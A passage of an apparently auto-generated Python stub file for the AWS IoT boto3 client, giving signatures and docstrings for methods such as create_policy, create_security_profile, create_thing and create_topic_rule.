'string' }, 'hashAlgorithm': 'string', 'signatureAlgorithm': 'string' } }, 'attributes': { 'string': 'string' } }, ], roleArn='string', additionalParameters={ 'string': 'string' }, tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) **Response Syntax** :: { 'otaUpdateId': 'string', 'awsIotJobId': 'string', 'otaUpdateArn': 'string', 'awsIotJobArn': 'string', 'otaUpdateStatus': 'CREATE_PENDING'|'CREATE_IN_PROGRESS'|'CREATE_COMPLETE'|'CREATE_FAILED' } **Response Structure** - *(dict) --* - **otaUpdateId** *(string) --* The OTA update ID. - **awsIotJobId** *(string) --* The AWS IoT job ID associated with the OTA update. - **otaUpdateArn** *(string) --* The OTA update ARN. - **awsIotJobArn** *(string) --* The AWS IoT job ARN associated with the OTA update. - **otaUpdateStatus** *(string) --* The OTA update status. :type otaUpdateId: string :param otaUpdateId: **[REQUIRED]** The ID of the OTA update to be created. :type description: string :param description: The description of the OTA update. :type targets: list :param targets: **[REQUIRED]** The targeted devices to receive OTA updates. - *(string) --* :type targetSelection: string :param targetSelection: Specifies whether the update will continue to run (CONTINUOUS), or will be complete after all the things specified as targets have completed the update (SNAPSHOT). If continuous, the update may also be run on a thing when a change is detected in a target. For example, an update will run on a thing when the thing is added to a target group, even after the update was completed by all things originally in the group. Valid values: CONTINUOUS | SNAPSHOT. :type awsJobExecutionsRolloutConfig: dict :param awsJobExecutionsRolloutConfig: Configuration for the rollout of OTA updates. - **maximumPerMinute** *(integer) --* The maximum number of OTA update job executions started per minute. :type files: list :param files: **[REQUIRED]** The files to be streamed by the OTA update. - *(dict) --* Describes a file to be associated with an OTA update. - **fileName** *(string) --* The name of the file. - **fileVersion** *(string) --* The file version. - **fileLocation** *(dict) --* The location of the updated firmware. - **stream** *(dict) --* The stream that contains the OTA update. - **streamId** *(string) --* The stream ID. - **fileId** *(integer) --* The ID of a file associated with a stream. - **s3Location** *(dict) --* The location of the updated firmware in S3. - **bucket** *(string) --* The S3 bucket. - **key** *(string) --* The S3 key. - **version** *(string) --* The S3 bucket version. - **codeSigning** *(dict) --* The code signing method of the file. - **awsSignerJobId** *(string) --* The ID of the AWSSignerJob which was created to sign the file. - **startSigningJobParameter** *(dict) --* Describes the code-signing job. - **signingProfileParameter** *(dict) --* Describes the code-signing profile. - **certificateArn** *(string) --* Certificate ARN. - **platform** *(string) --* The hardware platform of your device. - **certificatePathOnDevice** *(string) --* The location of the code-signing certificate on your device. - **signingProfileName** *(string) --* The code-signing profile name. - **destination** *(dict) --* The location to write the code-signed file. - **s3Destination** *(dict) --* Describes the location in S3 of the updated firmware. - **bucket** *(string) --* The S3 bucket that contains the updated firmware. - **prefix** *(string) --* The S3 prefix. - **customCodeSigning** *(dict) --* A custom method for code signing a file. - **signature** *(dict) --* The signature for the file. - **inlineDocument** *(bytes) --* A base64 encoded binary representation of the code signing signature. - **certificateChain** *(dict) --* The certificate chain. - **certificateName** *(string) --* The name of the certificate. - **inlineDocument** *(string) --* A base64 encoded binary representation of the code signing certificate chain. - **hashAlgorithm** *(string) --* The hash algorithm used to code sign the file. - **signatureAlgorithm** *(string) --* The signature algorithm used to code sign the file. - **attributes** *(dict) --* A list of name/attribute pairs. - *(string) --* - *(string) --* :type roleArn: string :param roleArn: **[REQUIRED]** The IAM role that allows access to the AWS IoT Jobs service. :type additionalParameters: dict :param additionalParameters: A list of additional OTA update parameters which are name-value pairs. - *(string) --* - *(string) --* :type tags: list :param tags: Metadata which can be used to manage updates. - *(dict) --* A set of key/value pairs that are used to manage the resource. - **Key** *(string) --* The tag\'s key. - **Value** *(string) --* The tag\'s value. :rtype: dict :returns: """ pass def create_policy(self, policyName: str, policyDocument: str) -> Dict: """ Creates an AWS IoT policy. The created policy is the default version for the policy. This operation creates a policy version with a version identifier of **1** and sets **1** as the policy's default version. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreatePolicy>`_ **Request Syntax** :: response = client.create_policy( policyName='string', policyDocument='string' ) **Response Syntax** :: { 'policyName': 'string', 'policyArn': 'string', 'policyDocument': 'string', 'policyVersionId': 'string' } **Response Structure** - *(dict) --* The output from the CreatePolicy operation. - **policyName** *(string) --* The policy name. - **policyArn** *(string) --* The policy ARN. - **policyDocument** *(string) --* The JSON document that describes the policy. - **policyVersionId** *(string) --* The policy version ID. :type policyName: string :param policyName: **[REQUIRED]** The policy name. :type policyDocument: string :param policyDocument: **[REQUIRED]** The JSON document that describes the policy. **policyDocument** must have a minimum length of 1, with a maximum length of 2048, excluding whitespace. :rtype: dict :returns: """ pass def create_policy_version(self, policyName: str, policyDocument: str, setAsDefault: bool = None) -> Dict: """ Creates a new version of the specified AWS IoT policy. To update a policy, create a new policy version. A managed policy can have up to five versions. If the policy has five versions, you must use DeletePolicyVersion to delete an existing version before you create a new one. Optionally, you can set the new version as the policy's default version. The default version is the operative version (that is, the version that is in effect for the certificates to which the policy is attached). See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreatePolicyVersion>`_ **Request Syntax** :: response = client.create_policy_version( policyName='string', policyDocument='string', setAsDefault=True|False ) **Response Syntax** :: { 'policyArn': 'string', 'policyDocument': 'string', 'policyVersionId': 'string', 'isDefaultVersion': True|False } **Response Structure** - *(dict) --* The output of the CreatePolicyVersion operation. - **policyArn** *(string) --* The policy ARN. - **policyDocument** *(string) --* The JSON document that describes the policy. - **policyVersionId** *(string) --* The policy version ID. - **isDefaultVersion** *(boolean) --* Specifies whether the policy version is the default. :type policyName: string :param policyName: **[REQUIRED]** The policy name. :type policyDocument: string :param policyDocument: **[REQUIRED]** The JSON document that describes the policy. Minimum length of 1. Maximum length of 2048, excluding whitespace. :type setAsDefault: boolean :param setAsDefault: Specifies whether the policy version is set as the default. When this parameter is true, the new policy version becomes the operative version (that is, the version that is in effect for the certificates to which the policy is attached). :rtype: dict :returns: """ pass def create_role_alias(self, roleAlias: str, roleArn: str, credentialDurationSeconds: int = None) -> Dict: """ Creates a role alias. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateRoleAlias>`_ **Request Syntax** :: response = client.create_role_alias( roleAlias='string', roleArn='string', credentialDurationSeconds=123 ) **Response Syntax** :: { 'roleAlias': 'string', 'roleAliasArn': 'string' } **Response Structure** - *(dict) --* - **roleAlias** *(string) --* The role alias. - **roleAliasArn** *(string) --* The role alias ARN. :type roleAlias: string :param roleAlias: **[REQUIRED]** The role alias that points to a role ARN. This allows you to change the role without having to update the device. :type roleArn: string :param roleArn: **[REQUIRED]** The role ARN. :type credentialDurationSeconds: integer :param credentialDurationSeconds: How long (in seconds) the credentials will be valid. :rtype: dict :returns: """ pass def create_scheduled_audit(self, frequency: str, targetCheckNames: List, scheduledAuditName: str, dayOfMonth: str = None, dayOfWeek: str = None, tags: List = None) -> Dict: """ Creates a scheduled audit that is run at a specified time interval. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateScheduledAudit>`_ **Request Syntax** :: response = client.create_scheduled_audit( frequency='DAILY'|'WEEKLY'|'BIWEEKLY'|'MONTHLY', dayOfMonth='string', dayOfWeek='SUN'|'MON'|'TUE'|'WED'|'THU'|'FRI'|'SAT', targetCheckNames=[ 'string', ], tags=[ { 'Key': 'string', 'Value': 'string' }, ], scheduledAuditName='string' ) **Response Syntax** :: { 'scheduledAuditArn': 'string' } **Response Structure** - *(dict) --* - **scheduledAuditArn** *(string) --* The ARN of the scheduled audit. :type frequency: string :param frequency: **[REQUIRED]** How often the scheduled audit takes place. Can be one of \"DAILY\", \"WEEKLY\", \"BIWEEKLY\" or \"MONTHLY\". The actual start time of each audit is determined by the system. :type dayOfMonth: string :param dayOfMonth: The day of the month on which the scheduled audit takes place. Can be \"1\" through \"31\" or \"LAST\". This field is required if the \"frequency\" parameter is set to \"MONTHLY\". If days 29-31 are specified, and the month does not have that many days, the audit takes place on the \"LAST\" day of the month. :type dayOfWeek: string :param dayOfWeek: The day of the week on which the scheduled audit takes place. Can be one of \"SUN\", \"MON\", \"TUE\", \"WED\", \"THU\", \"FRI\" or \"SAT\". This field is required if the \"frequency\" parameter is set to \"WEEKLY\" or \"BIWEEKLY\". :type targetCheckNames: list :param targetCheckNames: **[REQUIRED]** Which checks are performed during the scheduled audit. Checks must be enabled for your account. (Use ``DescribeAccountAuditConfiguration`` to see the list of all checks including those that are enabled or ``UpdateAccountAuditConfiguration`` to select which checks are enabled.) - *(string) --* An audit check name. Checks must be enabled for your account. (Use ``DescribeAccountAuditConfiguration`` to see the list of all checks including those that are enabled or ``UpdateAccountAuditConfiguration`` to select which checks are enabled.) :type tags: list :param tags: Metadata which can be used to manage the scheduled audit. - *(dict) --* A set of key/value pairs that are used to manage the resource. - **Key** *(string) --* The tag\'s key. - **Value** *(string) --* The tag\'s value. :type scheduledAuditName: string :param scheduledAuditName: **[REQUIRED]** The name you want to give to the scheduled audit. (Max. 128 chars) :rtype: dict :returns: """ pass def create_security_profile(self, securityProfileName: str, securityProfileDescription: str = None, behaviors: List = None, alertTargets: Dict = None, additionalMetricsToRetain: List = None, tags: List = None) -> Dict: """ Creates a Device Defender security profile. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateSecurityProfile>`_ **Request Syntax** :: response = client.create_security_profile( securityProfileName='string', securityProfileDescription='string', behaviors=[ { 'name': 'string', 'metric': 'string', 'criteria': { 'comparisonOperator': 'less-than'|'less-than-equals'|'greater-than'|'greater-than-equals'|'in-cidr-set'|'not-in-cidr-set'|'in-port-set'|'not-in-port-set', 'value': { 'count': 123, 'cidrs': [ 'string', ], 'ports': [ 123, ] }, 'durationSeconds': 123, 'consecutiveDatapointsToAlarm': 123, 'consecutiveDatapointsToClear': 123, 'statisticalThreshold': { 'statistic': 'string' } } }, ], alertTargets={ 'string': { 'alertTargetArn': 'string', 'roleArn': 'string' } }, additionalMetricsToRetain=[ 'string', ], tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) **Response Syntax** :: { 'securityProfileName': 'string', 'securityProfileArn': 'string' } **Response Structure** - *(dict) --* - **securityProfileName** *(string) --* The name you gave to the security profile. - **securityProfileArn** *(string) --* The ARN of the security profile. :type securityProfileName: string :param securityProfileName: **[REQUIRED]** The name you are giving to the security profile. :type securityProfileDescription: string :param securityProfileDescription: A description of the security profile. :type behaviors: list :param behaviors: Specifies the behaviors that, when violated by a device (thing), cause an alert. - *(dict) --* A Device Defender security profile behavior. - **name** *(string) --* **[REQUIRED]** The name you have given to the behavior. - **metric** *(string) --* What is measured by the behavior. - **criteria** *(dict) --* The criteria that determine if a device is behaving normally in regard to the ``metric`` . - **comparisonOperator** *(string) --* The operator that relates the thing measured (``metric`` ) to the criteria (containing a ``value`` or ``statisticalThreshold`` ). - **value** *(dict) --* The value to be compared with the ``metric`` . - **count** *(integer) --* If the ``comparisonOperator`` calls for a numeric value, use this to specify that numeric value to be compared with the ``metric`` . - **cidrs** *(list) --* If the ``comparisonOperator`` calls for a set of CIDRs, use this to specify that set to be compared with the ``metric`` . - *(string) --* - **ports** *(list) --* If the ``comparisonOperator`` calls for a set of ports, use this to specify that set to be compared with the ``metric`` . - *(integer) --* - **durationSeconds** *(integer) --* Use this to specify the time duration over which the behavior is evaluated, for those criteria which have a time dimension (for example, ``NUM_MESSAGES_SENT`` ). For a ``statisticalThreshhold`` metric comparison, measurements from all devices are accumulated over this time duration before being used to calculate percentiles, and later, measurements from an individual device are also accumulated over this time duration before being given a percentile rank. - **consecutiveDatapointsToAlarm** *(integer) --* If a device is in violation of the behavior for the specified number of consecutive datapoints, an alarm occurs. If not specified, the default is 1. - **consecutiveDatapointsToClear** *(integer) --* If an alarm has occurred and the offending device is no longer in violation of the behavior for the specified number of consecutive datapoints, the alarm is cleared. If not specified, the default is 1. - **statisticalThreshold** *(dict) --* A statistical ranking (percentile) which indicates a threshold value by which a behavior is determined to be in compliance or in violation of the behavior. - **statistic** *(string) --* The percentile which resolves to a threshold value by which compliance with a behavior is determined. Metrics are collected over the specified period (``durationSeconds`` ) from all reporting devices in your account and statistical ranks are calculated. Then, the measurements from a device are collected over the same period. If the accumulated measurements from the device fall above or below (``comparisonOperator`` ) the value associated with the percentile specified, then the device is considered to be in compliance with the behavior, otherwise a violation occurs. :type alertTargets: dict :param alertTargets: Specifies the destinations to which alerts are sent. (Alerts are always sent to the console.) Alerts are generated when a device (thing) violates a behavior. - *(string) --* The type of alert target: one of \"SNS\". - *(dict) --* A structure containing the alert target ARN and the role ARN. - **alertTargetArn** *(string) --* **[REQUIRED]** The ARN of the notification target to which alerts are sent. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the role that grants permission to send alerts to the notification target. :type additionalMetricsToRetain: list :param additionalMetricsToRetain: A list of metrics whose data is retained (stored). By default, data is retained for any metric used in the profile\'s ``behaviors`` but it is also retained for any metric specified here. - *(string) --* :type tags: list :param tags: Metadata which can be used to manage the security profile. - *(dict) --* A set of key/value pairs that are used to manage the resource. - **Key** *(string) --* The tag\'s key. - **Value** *(string) --* The tag\'s value. :rtype: dict :returns: """ pass def create_stream(self, streamId: str, files: List, roleArn: str, description: str = None, tags: List = None) -> Dict: """ Creates a stream for delivering one or more large files in chunks over MQTT. A stream transports data bytes in chunks or blocks packaged as MQTT messages from a source like S3. You can have one or more files associated with a stream. The total size of a file associated with the stream cannot exceed more than 2 MB. The stream will be created with version 0. If a stream is created with the same streamID as a stream that existed and was deleted within last 90 days, we will resurrect that old stream by incrementing the version by 1. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateStream>`_ **Request Syntax** :: response = client.create_stream( streamId='string', description='string', files=[ { 'fileId': 123, 's3Location': { 'bucket': 'string', 'key': 'string', 'version': 'string' } }, ], roleArn='string', tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) **Response Syntax** :: { 'streamId': 'string', 'streamArn': 'string', 'description': 'string', 'streamVersion': 123 } **Response Structure** - *(dict) --* - **streamId** *(string) --* The stream ID. - **streamArn** *(string) --* The stream ARN. - **description** *(string) --* A description of the stream. - **streamVersion** *(integer) --* The version of the stream. :type streamId: string :param streamId: **[REQUIRED]** The stream ID. :type description: string :param description: A description of the stream. :type files: list :param files: **[REQUIRED]** The files to stream. - *(dict) --* Represents a file to stream. - **fileId** *(integer) --* The file ID. - **s3Location** *(dict) --* The location of the file in S3. - **bucket** *(string) --* The S3 bucket. - **key** *(string) --* The S3 key. - **version** *(string) --* The S3 bucket version. :type roleArn: string :param roleArn: **[REQUIRED]** An IAM role that allows the IoT service principal assumes to access your S3 files. :type tags: list :param tags: Metadata which can be used to manage streams. - *(dict) --* A set of key/value pairs that are used to manage the resource. - **Key** *(string) --* The tag\'s key. - **Value** *(string) --* The tag\'s value. :rtype: dict :returns: """ pass def create_thing(self, thingName: str, thingTypeName: str = None, attributePayload: Dict = None, billingGroupName: str = None) -> Dict: """ Creates a thing record in the registry. If this call is made multiple times using the same thing name and configuration, the call will succeed. If this call is made with the same thing name but different configuration a ``ResourceAlreadyExistsException`` is thrown. .. note:: This is a control plane operation. See `Authorization <https://docs.aws.amazon.com/iot/latest/developerguide/authorization.html>`__ for information about authorizing control plane actions. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateThing>`_ **Request Syntax** :: response = client.create_thing( thingName='string', thingTypeName='string', attributePayload={ 'attributes': { 'string': 'string' }, 'merge': True|False }, billingGroupName='string' ) **Response Syntax** :: { 'thingName': 'string', 'thingArn': 'string', 'thingId': 'string' } **Response Structure** - *(dict) --* The output of the CreateThing operation. - **thingName** *(string) --* The name of the new thing. - **thingArn** *(string) --* The ARN of the new thing. - **thingId** *(string) --* The thing ID. :type thingName: string :param thingName: **[REQUIRED]** The name of the thing to create. :type thingTypeName: string :param thingTypeName: The name of the thing type associated with the new thing. :type attributePayload: dict :param attributePayload: The attribute payload, which consists of up to three name/value pairs in a JSON document. For example: ``{\\"attributes\\":{\\"string1\\":\\"string2\\"}}`` - **attributes** *(dict) --* A JSON string containing up to three key-value pair in JSON format. For example: ``{\\"attributes\\":{\\"string1\\":\\"string2\\"}}`` - *(string) --* - *(string) --* - **merge** *(boolean) --* Specifies whether the list of attributes provided in the ``AttributePayload`` is merged with the attributes stored in the registry, instead of overwriting them. To remove an attribute, call ``UpdateThing`` with an empty attribute value. .. note:: The ``merge`` attribute is only valid when calling ``UpdateThing`` . :type billingGroupName: string :param billingGroupName: The name of the billing group the thing will be added to. :rtype: dict :returns: """ pass def create_thing_group(self, thingGroupName: str, parentGroupName: str = None, thingGroupProperties: Dict = None, tags: List = None) -> Dict: """ Create a thing group. .. note:: This is a control plane operation. See `Authorization <https://docs.aws.amazon.com/iot/latest/developerguide/authorization.html>`__ for information about authorizing control plane actions. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateThingGroup>`_ **Request Syntax** :: response = client.create_thing_group( thingGroupName='string', parentGroupName='string', thingGroupProperties={ 'thingGroupDescription': 'string', 'attributePayload': { 'attributes': { 'string': 'string' }, 'merge': True|False } }, tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) **Response Syntax** :: { 'thingGroupName': 'string', 'thingGroupArn': 'string', 'thingGroupId': 'string' } **Response Structure** - *(dict) --* - **thingGroupName** *(string) --* The thing group name. - **thingGroupArn** *(string) --* The thing group ARN. - **thingGroupId** *(string) --* The thing group ID. :type thingGroupName: string :param thingGroupName: **[REQUIRED]** The thing group name to create. :type parentGroupName: string :param parentGroupName: The name of the parent thing group. :type thingGroupProperties: dict :param thingGroupProperties: The thing group properties. - **thingGroupDescription** *(string) --* The thing group description. - **attributePayload** *(dict) --* The thing group attributes in JSON format. - **attributes** *(dict) --* A JSON string containing up to three key-value pair in JSON format. For example: ``{\\"attributes\\":{\\"string1\\":\\"string2\\"}}`` - *(string) --* - *(string) --* - **merge** *(boolean) --* Specifies whether the list of attributes provided in the ``AttributePayload`` is merged with the attributes stored in the registry, instead of overwriting them. To remove an attribute, call ``UpdateThing`` with an empty attribute value. .. note:: The ``merge`` attribute is only valid when calling ``UpdateThing`` . :type tags: list :param tags: Metadata which can be used to manage the thing group. - *(dict) --* A set of key/value pairs that are used to manage the resource. - **Key** *(string) --* The tag\'s key. - **Value** *(string) --* The tag\'s value. :rtype: dict :returns: """ pass def create_thing_type(self, thingTypeName: str, thingTypeProperties: Dict = None, tags: List = None) -> Dict: """ Creates a new thing type. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateThingType>`_ **Request Syntax** :: response = client.create_thing_type( thingTypeName='string', thingTypeProperties={ 'thingTypeDescription': 'string', 'searchableAttributes': [ 'string', ] }, tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) **Response Syntax** :: { 'thingTypeName': 'string', 'thingTypeArn': 'string', 'thingTypeId': 'string' } **Response Structure** - *(dict) --* The output of the CreateThingType operation. - **thingTypeName** *(string) --* The name of the thing type. - **thingTypeArn** *(string) --* The Amazon Resource Name (ARN) of the thing type. - **thingTypeId** *(string) --* The thing type ID. :type thingTypeName: string :param thingTypeName: **[REQUIRED]** The name of the thing type. :type thingTypeProperties: dict :param thingTypeProperties: The ThingTypeProperties for the thing type to create. It contains information about the new thing type including a description, and a list of searchable thing attribute names. - **thingTypeDescription** *(string) --* The description of the thing type. - **searchableAttributes** *(list) --* A list of searchable thing attribute names. - *(string) --* :type tags: list :param tags: Metadata which can be used to manage the thing type. - *(dict) --* A set of key/value pairs that are used to manage the resource. - **Key** *(string) --* The tag\'s key. - **Value** *(string) --* The tag\'s value. :rtype: dict :returns: """ pass def create_topic_rule(self, ruleName: str, topicRulePayload: Dict, tags: str = None): """ Creates a rule. Creating rules is an administrator-level action. Any user who has permission to create rules will be able to access data processed by the rule. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/CreateTopicRule>`_ **Request Syntax** :: response = client.create_topic_rule( ruleName='string', topicRulePayload={ 'sql': 'string', 'description': 'string', 'actions': [ { 'dynamoDB': { 'tableName': 'string', 'roleArn': 'string', 'operation': 'string', 'hashKeyField': 'string', 'hashKeyValue': 'string', 'hashKeyType': 'STRING'|'NUMBER', 'rangeKeyField': 'string', 'rangeKeyValue': 'string', 'rangeKeyType': 'STRING'|'NUMBER', 'payloadField': 'string' }, 'dynamoDBv2': { 'roleArn': 'string', 'putItem': { 'tableName': 'string' } }, 'lambda': { 'functionArn': 'string' }, 'sns': { 'targetArn': 'string', 'roleArn': 'string', 'messageFormat': 'RAW'|'JSON' }, 'sqs': { 'roleArn': 'string', 'queueUrl': 'string', 'useBase64': True|False }, 'kinesis': { 'roleArn': 'string', 'streamName': 'string', 'partitionKey': 'string' }, 'republish': { 'roleArn': 'string', 'topic': 'string' }, 's3': { 'roleArn': 'string', 'bucketName': 'string', 'key': 'string', 'cannedAcl': 'private'|'public-read'|'public-read-write'|'aws-exec-read'|'authenticated-read'|'bucket-owner-read'|'bucket-owner-full-control'|'log-delivery-write' }, 'firehose': { 'roleArn': 'string', 'deliveryStreamName': 'string', 'separator': 'string' }, 'cloudwatchMetric': { 'roleArn': 'string', 'metricNamespace': 'string', 'metricName': 'string', 'metricValue': 'string', 'metricUnit': 'string', 'metricTimestamp': 'string' }, 'cloudwatchAlarm': { 'roleArn': 'string', 'alarmName': 'string', 'stateReason': 'string', 'stateValue': 'string' }, 'elasticsearch': { 'roleArn': 'string', 'endpoint': 'string', 'index': 'string', 'type': 'string', 'id': 'string' }, 'salesforce': { 'token': 'string', 'url': 'string' }, 'iotAnalytics': { 'channelArn': 'string', 'channelName': 'string', 'roleArn': 'string' }, 'iotEvents': { 'inputName': 'string', 'messageId': 'string', 'roleArn': 'string' }, 'stepFunctions': { 'executionNamePrefix': 'string', 'stateMachineName': 'string', 'roleArn': 'string' } }, ], 'ruleDisabled': True|False, 'awsIotSqlVersion': 'string', 'errorAction': { 'dynamoDB': { 'tableName': 'string', 'roleArn': 'string', 'operation': 'string', 'hashKeyField': 'string', 'hashKeyValue': 'string', 'hashKeyType': 'STRING'|'NUMBER', 'rangeKeyField': 'string', 'rangeKeyValue': 'string', 'rangeKeyType': 'STRING'|'NUMBER', 'payloadField': 'string' }, 'dynamoDBv2': { 'roleArn': 'string', 'putItem': { 'tableName': 'string' } }, 'lambda': { 'functionArn': 'string' }, 'sns': { 'targetArn': 'string', 'roleArn': 'string', 'messageFormat': 'RAW'|'JSON' }, 'sqs': { 'roleArn': 'string', 'queueUrl': 'string', 'useBase64': True|False }, 'kinesis': { 'roleArn': 'string', 'streamName': 'string', 'partitionKey': 'string' }, 'republish': { 'roleArn': 'string', 'topic': 'string' }, 's3': { 'roleArn': 'string', 'bucketName': 'string', 'key': 'string', 'cannedAcl': 'private'|'public-read'|'public-read-write'|'aws-exec-read'|'authenticated-read'|'bucket-owner-read'|'bucket-owner-full-control'|'log-delivery-write' }, 'firehose': { 'roleArn': 'string', 'deliveryStreamName': 'string', 'separator': 'string' }, 'cloudwatchMetric': { 'roleArn': 'string', 'metricNamespace': 'string', 'metricName': 'string', 'metricValue': 'string', 'metricUnit': 'string', 'metricTimestamp': 'string' }, 'cloudwatchAlarm': { 'roleArn': 'string', 'alarmName': 'string', 'stateReason': 'string', 'stateValue': 'string' }, 'elasticsearch': { 'roleArn': 'string', 'endpoint': 'string', 'index': 'string', 'type': 'string', 'id': 'string' }, 'salesforce': { 'token': 'string', 'url': 'string' }, 'iotAnalytics': { 'channelArn': 'string', 'channelName': 'string', 'roleArn': 'string' }, 'iotEvents': { 'inputName': 'string', 'messageId': 'string', 'roleArn': 'string' }, 'stepFunctions': { 'executionNamePrefix': 'string', 'stateMachineName': 'string', 'roleArn': 'string' } } }, tags='string' ) :type ruleName: string :param ruleName: **[REQUIRED]** The name of the rule. :type topicRulePayload: dict :param topicRulePayload: **[REQUIRED]** The rule payload. - **sql** *(string) --* **[REQUIRED]** The SQL statement used to query the topic. For more information, see `AWS IoT SQL Reference <https://docs.aws.amazon.com/iot/latest/developerguide/iot-rules.html#aws-iot-sql-reference>`__ in the *AWS IoT Developer Guide* . - **description** *(string) --* The description of the rule. - **actions** *(list) --* **[REQUIRED]** The actions associated with the rule. - *(dict) --* Describes the actions associated with a rule. - **dynamoDB** *(dict) --* Write to a DynamoDB table. - **tableName** *(string) --* **[REQUIRED]** The name of the DynamoDB table. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access to the DynamoDB table. - **operation** *(string) --* The type of operation to be performed. This follows the substitution template, so it can be ``${operation}`` , but the substitution must result in one of the following: ``INSERT`` , ``UPDATE`` , or ``DELETE`` . - **hashKeyField** *(string) --* **[REQUIRED]** The hash key name. - **hashKeyValue** *(string) --* **[REQUIRED]** The hash key value. - **hashKeyType** *(string) --* The hash key type. Valid values are \"STRING\" or \"NUMBER\" - **rangeKeyField** *(string) --* The range key name. - **rangeKeyValue** *(string) --* The range key value. - **rangeKeyType** *(string) --* The range key type. Valid values are \"STRING\" or \"NUMBER\" - **payloadField** *(string) --* The action payload. This name can be customized. - **dynamoDBv2** *(dict) --* Write to a DynamoDB table. This is a new version of the DynamoDB action. It allows you to write each attribute in an MQTT message payload into a separate DynamoDB column. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access to the DynamoDB table. - **putItem** *(dict) --* **[REQUIRED]** Specifies the DynamoDB table to which the message data will be written. For example: ``{ \"dynamoDBv2\": { \"roleArn\": \"aws:iam:12341251:my-role\" \"putItem\": { \"tableName\": \"my-table\" } } }`` Each attribute in the message payload will be written to a separate column in the DynamoDB database. - **tableName** *(string) --* **[REQUIRED]** The table where the message data will be written - **lambda** *(dict) --* Invoke a Lambda function. - **functionArn** *(string) --* **[REQUIRED]** The ARN of the Lambda function. - **sns** *(dict) --* Publish to an Amazon SNS topic. - **targetArn** *(string) --* **[REQUIRED]** The ARN of the SNS topic. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **messageFormat** *(string) --* (Optional) The message format of the message to publish. Accepted values are \"JSON\" and \"RAW\". The default value of the attribute is \"RAW\". SNS uses this setting to determine if the payload should be parsed and relevant platform-specific bits of the payload should be extracted. To read more about SNS message formats, see `https\://docs.aws.amazon.com/sns/latest/dg/json-formats.html <https://docs.aws.amazon.com/sns/latest/dg/json-formats.html>`__ refer to their official documentation. - **sqs** *(dict) --* Publish to an Amazon SQS queue. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **queueUrl** *(string) --* **[REQUIRED]** The URL of the Amazon SQS queue. - **useBase64** *(boolean) --* Specifies whether to use Base64 encoding. - **kinesis** *(dict) --* Write data to an Amazon Kinesis stream. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access to the Amazon Kinesis stream. - **streamName** *(string) --* **[REQUIRED]** The name of the Amazon Kinesis stream. - **partitionKey** *(string) --* The partition key. - **republish** *(dict) --* Publish to another MQTT topic. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **topic** *(string) --* **[REQUIRED]** The name of the MQTT topic. - **s3** *(dict) --* Write to an Amazon S3 bucket. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **bucketName** *(string) --* **[REQUIRED]** The Amazon S3 bucket. - **key** *(string) --* **[REQUIRED]** The object key. - **cannedAcl** *(string) --* The Amazon S3 canned ACL that controls access to the object identified by the object key. For more information, see `S3 canned ACLs <https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl>`__ . - **firehose** *(dict) --* Write to an Amazon Kinesis Firehose stream. - **roleArn** *(string) --* **[REQUIRED]** The IAM role that grants access to the Amazon Kinesis Firehose stream. - **deliveryStreamName** *(string) --* **[REQUIRED]** The delivery stream name. - **separator** *(string) --* A character separator that will be used to separate records written to the Firehose stream. Valid values are: \'\n\' (newline), \'\t\' (tab), \'\r\n\' (Windows newline), \',\' (comma). - **cloudwatchMetric** *(dict) --* Capture a CloudWatch metric. - **roleArn** *(string) --* **[REQUIRED]** The IAM role that allows access to the CloudWatch metric. - **metricNamespace** *(string) --* **[REQUIRED]** The CloudWatch metric namespace name. - **metricName** *(string) --* **[REQUIRED]** The CloudWatch metric name. - **metricValue** *(string) --* **[REQUIRED]** The CloudWatch metric value. - **metricUnit** *(string) --* **[REQUIRED]** The `metric unit <https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#Unit>`__ supported by CloudWatch. - **metricTimestamp** *(string) --* An optional `Unix timestamp <https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#about_timestamp>`__ . - **cloudwatchAlarm** *(dict) --* Change the state of a CloudWatch alarm. - **roleArn** *(string) --* **[REQUIRED]** The IAM role that allows access to the CloudWatch alarm. - **alarmName** *(string) --* **[REQUIRED]** The CloudWatch alarm name. - **stateReason** *(string) --* **[REQUIRED]** The reason for the alarm change. - **stateValue** *(string) --* **[REQUIRED]** The value of the alarm state. Acceptable values are: OK, ALARM, INSUFFICIENT_DATA. - **elasticsearch** *(dict) --* Write data to an Amazon Elasticsearch Service domain. - **roleArn** *(string) --* **[REQUIRED]** The IAM role ARN that has access to Elasticsearch. - **endpoint** *(string) --* **[REQUIRED]** The endpoint of your Elasticsearch domain. - **index** *(string) --* **[REQUIRED]** The Elasticsearch index where you want to store your data. - **type** *(string) --* **[REQUIRED]** The type of document you are storing. - **id** *(string) --* **[REQUIRED]** The unique identifier for the document you are storing. - **salesforce** *(dict) --* Send a message to a Salesforce IoT Cloud Input Stream. - **token** *(string) --* **[REQUIRED]** The token used to authenticate 